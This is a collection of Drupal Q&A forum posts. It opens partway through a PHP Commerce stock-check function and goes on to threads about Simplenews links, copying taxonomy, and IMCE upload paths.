     * @var $product_ids            : Product ID array.
     * @var $qty[$product_ids]      : get each Product order quantity.
     * @var $stock_qty[$product_ids]: get each Product stock quantity.
     */
    foreach($results As $value){
        if(!empty($value->product_id)){
            $product_ids[] = $value->product_id;
            $qty[$value->product_id] = (int)$value->order_qty;
            $stock_qty[$value->product_id] = (int)$value->stock_qty;
        }
    }
    // product id array convert in string forn sql.
    $product_ids_query = implode($product_ids, ',');
    /*
     * Here get product remaining stock
     * @stock   : Stock
     * @order   : Order qty in order table ( status is checkout_payment).
     * @avail   : available qty
     * @stock - @order = @avail
     */
    $results2 = db_query("SELECT cli.line_item_label AS line_item, cp.product_id AS product_id,cli.quantity AS order_qty, FORMAT(SUM(cli.quantity),0) total_order_qty,  FORMAT(fcs.commerce_stock_value,0) AS total_stock_qty, FORMAT((fcs.commerce_stock_value - SUM(cli.quantity)),0) As available_qty FROM commerce_line_item AS cli LEFT JOIN commerce_product AS cp ON cli.line_item_label=cp.sku LEFT JOIN field_data_commerce_stock AS fcs ON cp.product_id=fcs.entity_id LEFT JOIN commerce_order AS co ON co.order_id=cli.order_id WHERE co.`status`='checkout_payment' AND fcs.commerce_stock_value!=0 AND cp.product_id IN ($product_ids_query) GROUP BY cp.product_id")->fetchAll();

    $available_qty = array();
    foreach($results2 As $value2){
        $available_qty[$value2->product_id] = $value2->available_qty;
    }
    $redirection_var = 'goto_paypal';
    foreach($product_ids AS $product_chk){
        if(!empty($available_qty[$product_chk])){
            $current_stock_qty = (int)$available_qty[$product_chk];
        } else {
            $current_stock_qty = (int)$stock_qty[$product_chk];
        }

        $ordered_qty = $qty[$product_chk];

        if($current_stock_qty > 0){
            // go to paypal
             $redirection_var;
        } else {
            return $redirection_var = 'not_goto_paypal';
        }
    }
    return $redirection_var;
}

```

# Answer
> 0 votes
Check out Commerce Stock - https://www.drupal.org/project/commerce\_stock. The module itself will expose hooks for controlling stock. Or there are sub modules it provides - Simple Stock and Simple Stock Rules - which add an integer field and use Rules to validate purchases.

This runs on Add to Cart, Can Checkout, and prior to purchase.

---
Tags: 7, commerce
---


title: Simplenews: node links not working

text:
# Question
Title: Simplenews: node links not working
The problem I face is the following: I have set up simplenews for creating newsletters. I am able to select articles, pages, events etc. which are already displayed on the website itself. However, after I selected the ones I want to show up in the newsletter and create a table of contents, there is no link to the article. It just shows the plain text without linking. Also the view mode dropdown menue is empty.

can anybody help me with this? cheers, nebelwueste

# Answer
> 0 votes
It's hard to say without seeing your Views settings but you may need to change the Field settings to link back to the full article.

E.g. See the bottom checkbox.

---
Tags: views, 7, emails
---


title: Copying taxonomy

text:
# Question
Title: Copying taxonomy
I am working on a website of restaurant company. On the front page i am able to visit one of its restaurants. Each of this restaurant subpages has its own taxonomy (Menu, About us, Contact) and content assigned to them.

Is there any elegant solution for copying this taxonomy, and therefore creating new restaurant? (lets suppose, we have two restaurants in Berlin and Paris, and we want to add new restaurant in London)

# Answer
I am not sure whether it can be considered an "elegant" solution, but the Taxonomy CSV import/export module might be of help.

You would need to export your taxonomy, edit the CSV, and then import the new data back into your site.

Hope that helps,
> 0 votes

---
Tags: taxonomy-terms
---


title: IMCE file upload dynamic path problem

text:
# Question
Title: IMCE file upload dynamic path problem
I am trying to setup a filefield using imce to allow the user to upload files however I am having problems setting it up trying to get a unique folder for each node.

So for example I have set the imce directory path to

```
php: return $user->name.'/'.date('Y-m-d-H-i');

```

Which will upload files to user/2015-06-12-13-15.

However when the I click use the file browser if I don't upload the file within the same minute as when I clicked use the file browser, IMCE throws an error saying the directory doesn't exist as I imagine the date change throws off the upload.

I don't want to restrict users creating one node an hour so does anyone know of another way of generating random file paths for each node?

# Answer
> 0 votes
This probably isn't the best solution, however it is working for me at the moment.

Using the following php in the IMCE directory path it generates the same random number for 5 minutes. So I can have the directory structure user/Y-m-d-H-\[random number\]

```
php: function random() {  $seed = floor(time()/(60*5)); srand($seed); $item = rand(0,100); return $item; }  return $user->name.'/'.date("Y-m-d-H").'-'.random();

```

---
Tags: files
---